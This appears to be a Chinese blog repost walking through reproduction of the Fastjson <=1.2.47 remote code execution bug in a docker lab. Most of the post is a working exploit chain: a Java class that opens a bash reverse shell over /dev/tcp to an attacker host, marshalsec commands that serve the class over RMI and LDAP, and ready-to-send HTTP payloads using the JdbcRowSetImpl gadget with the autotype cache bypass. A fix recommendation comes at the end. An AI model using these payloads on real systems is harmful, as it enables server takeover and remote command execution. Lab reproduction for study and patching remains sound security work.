Fastjson<=1.2.47版本远程代码执行漏洞复现

admin 2022年8月22日00:55:50安全文章评论32 views5876字阅读19分35秒阅读模式

一、漏洞介绍

0x01 fastjson介绍

          Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。它可以解析 JSON 格式的字符串,支持将 Java Bean序列化为JSON字符串,也可以从 JSON 字符串反序列化 Java Bean。

0x02 漏洞介绍

         Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type"指定反序列化的类型。并且Fastjson自定义的反序列化机制会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者就可以构造恶意数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,如果指定类的指定方法中有可以被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

二、影响范围

Fastjson < =1.2.47

三、漏洞复现

0x01 攻击过程讲解

(1):攻击示意图

Fastjson<=1.2.47版本远程代码执行漏洞复现


主机A(Ubuntu):存在fastjson反序列化漏洞的主机
主机C(kali2018):开启RMI/LDAP服务
主机B(kali2018):编译生成Exploit.class文件,也就是构造的恶意类(包含要执行的命令)

       说明:整改攻击过程需要三台主机,本人在测试过程中,使用Ubuntu作为主机A,使用kali2018这台主机的不同端口来作为主机B和主机C。

(1):攻击流程

①:攻击者使用payload攻击主机A(该payload需要指定rmi/ldap地址)

②:主机A引发反序列化漏洞,发送了进行rmi远程发放调用,去连接主机C

③:主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类

④:主机A引发恶意系统命令执行

0x02环境搭建

使用docker搭建环境。(如果本地搭建docker下载镜像太慢,可以看文章后面有解决方法)

(1):切换到fastjson

cd vulhub/fastjson/1.2.47-rce/

Fastjson<=1.2.47版本远程代码执行漏洞复现

(2):启动docker环境

docker-compose up -d

Fastjson<=1.2.47版本远程代码执行漏洞复现

(3):访问目标端口

Fastjson<=1.2.47版本远程代码执行漏洞复现


fastjson搭建成功。

0x03 漏洞复现

(1):判断目标站点使用fastjson(有回显)

{"name":"bob","age":"18"

使用POST请求发送数据包,并且不闭合{}。

Fastjson<=1.2.47版本远程代码执行漏洞复现

(2):判断目标站点使用fastjson(无回显)

{          "zeo":{"            @type":"java.net.Inet4Address",      "val":"生成的dnslog"          }}

Fastjson<=1.2.47版本远程代码执行漏洞复现

         本来可以通过dnslog的流量可以判断目标站点是不是使用了fastjson,但是这块不太明白为什么在dnslog上没有收到流量,好在返回包中发现了fastjson的版本。

(3):创建Exploit.java文件

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;
public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "exec 5<>/dev/tcp/xx.xx.xx.xx/port;cat <&5 | while read line; do= $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line; while((line = reader.readLine()) != null) { System.out.println(line); }
p.waitFor(); is.close(); reader.close(); p.destroy(); }
public static void main(String[] args) throws Exception { }}

Fastjson<=1.2.47版本远程代码执行漏洞复现

注意:文件名称必须命名为Exploit.java,不然会报错,上面的IP和地址写的是接收反弹shell的IP和地址。

(4):编译Exploit.java文件为Exploit.java文件

javac Exploit.java

Fastjson<=1.2.47版本远程代码执行漏洞复现

执行完成上述命令之后,会生成一个Exploit.class文件。

(5):启动web服务

python2 -m SimpleHTTPServer 8080python3 -m http.server 8080

         上面两种方式启动临时的HTTP服务,HTTP服务必须要在Exploit.class文件所在的目录启动,这样才可以下载Exploit.class文件。

Fastjson<=1.2.47版本远程代码执行漏洞复现

(6):下载marshalsec(目的是后面开启LDAP服务)

下载链接:https://github.com/mbechler/marshalsec

使用marshalsec项目是为了启动一个 RMI 服务器,监听端口并制定加载远程类。

Fastjson<=1.2.47版本远程代码执行漏洞复现

(7):配置mvn(kali下)

①:下载mvn

wget https://archive.apache.org/dist/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz

Fastjson<=1.2.47版本远程代码执行漏洞复现

②:创建解压目录

mkdir /usr/local/maven

Fastjson<=1.2.47版本远程代码执行漏洞复现

③:解压到指定目录

tar -zxvf apache-maven-3.5.4-bin.tar.gz -C /usr/local/maven/

Fastjson<=1.2.47版本远程代码执行漏洞复现

④:配置环境变量

leafpad /etc/profile#添加如下内容MAVEN_HOME=/usr/local/maven/apache-maven-3.5.4PATH=$MAVEN_HOME/bin:$PATHexport MAVEN_HOME PATH

Fastjson<=1.2.47版本远程代码执行漏洞复现

⑤:使配置生效

source /etc/profile

Fastjson<=1.2.47版本远程代码执行漏洞复现

⑥:查看mvn版本

mvn -v

Fastjson<=1.2.47版本远程代码执行漏洞复现

(8):编译marshalsec

cd marshalsec-mastermvn clean package -DskipTests

Fastjson<=1.2.47版本远程代码执行漏洞复现

Fastjson<=1.2.47版本远程代码执行漏洞复现

(9):开启远程方法调用

cd targetjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.223.160:8080/#Exploit" 9999

Fastjson<=1.2.47版本远程代码执行漏洞复现

(10):Dnslog接收流量

POST / HTTP/1.1Host: 192.168.223.175:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 260
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://dnslog/Exploit", "autoCommit":true }}

Fastjson<=1.2.47版本远程代码执行漏洞复现

查看dnslog平台上的流量,发现收到流量。

Fastjson<=1.2.47版本远程代码执行漏洞复现

(11):反弹shell

使用环境:

目标主机(Ubuntu:192.168.223.175):存在fastjson漏洞

         RMI主机(kali2018:192.168.223.160):使用该主机的两个端口,一个8080端口开启服务,使该主机可以访问到Exploit.class这个文件,一个9999端口,是marshalsec开启的RMI或者LDAP的端口

  接收shell的主机(kali2019:192.168.223.138):该主机的IP及4444端口被写进了Exploit.java文件中并被编译成了Exploit.class文件,因此使用该主机监听4444端口,就可以接收到shell

  • RMI方式

①:监听主机监听4444端口

Fastjson<=1.2.47版本远程代码执行漏洞复现

②:开启远程方法调用

cd targetjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.223.160:8080/#Exploit" 9999

Fastjson<=1.2.47版本远程代码执行漏洞复现

③:发送payload

POST / HTTP/1.1Host: 192.168.223.175:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 265
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.223.160:9999/Exploit", "autoCommit":true }}

Fastjson<=1.2.47版本远程代码执行漏洞复现

④:成功getshell

Fastjson<=1.2.47版本远程代码执行漏洞复现

  • LDAP方式

①:监听主机监听4444端口

Fastjson<=1.2.47版本远程代码执行漏洞复现

②:开启远程方法调用

cd targetjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.223.160:8080/#Exploit" 9999

Fastjson<=1.2.47版本远程代码执行漏洞复现

③:发送payload

POST / HTTP/1.1Host: 192.168.223.175:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 265
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.223.160:9999/Exploit", "autoCommit":true }}

Fastjson<=1.2.47版本远程代码执行漏洞复现

④:成功getshell

Fastjson<=1.2.47版本远程代码执行漏洞复现

0x04 复现总结

       Fastjson漏洞的复现比较复杂,加上反弹shell的主机一共涉及了三台主机,下面将该漏洞复现的过程简要说明一下:

(1):使用docker在一台Ubuntu上搭建fastjson漏洞环境

(2):在kali2018上创建Exploit.java文件并编译成Exploit.class文件

(3):在kali2018上开启一个临时服务,目的是可以远程加载生成的Exploit.class这个文件

(4):在kali2018上使用marshalsec开启远程方法调用

(5):在kali2019上进行监听(在Exploit.java中的反弹shell的地址是kali2019的地址)

(6):访问Ubuntu上的漏洞环境并构造数据包

(7):成功getshell

四、修复建议

0x01 升级到 1.2.48版本及以上

五、解决docker下载镜像失败问题

0x01 docker安装国内源

编辑/etc/docker/daemon.json这个文件,如果没有这个文件就创建一个文件。

vi /etc/docker/daemon.json#添加如下网易镜像源{"registry-mirrors": ["http://hub-mirror.c.163.com"]}

即使使用了国内源,有可能也无法快速的下载相关的镜像。因此可以使用阿里云加速器。

0x02 docker安装加速器

(1):注册或登录阿里云

https://cn.aliyun.com/

(2):进入控制台

Fastjson<=1.2.47版本远程代码执行漏洞复现

(3):搜索镜像容器服务

Fastjson<=1.2.47版本远程代码执行漏洞复现

(4):查看镜像加速器

Fastjson<=1.2.47版本远程代码执行漏洞复现

(5):修改本地文件

vim /etc/docker/daemon.json

Fastjson<=1.2.47版本远程代码执行漏洞复现

(6):重启docker加速器

systemctl daemon-reload

Fastjson<=1.2.47版本远程代码执行漏洞复现

(7):重启docker服务

systemctl restart docker

Fastjson<=1.2.47版本远程代码执行漏洞复现

参考链接:https://blog.csdn.net/god_zzZ/article/details/107122487

Fastjson<=1.2.47版本远程代码执行漏洞复现

原文始发于微信公众号(想走安全的小白):Fastjson<=1.2.47版本远程代码执行漏洞复现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月22日00:55:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Fastjson<=1.2.47版本远程代码执行漏洞复现 http://cn-sec.com/archives/886564.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: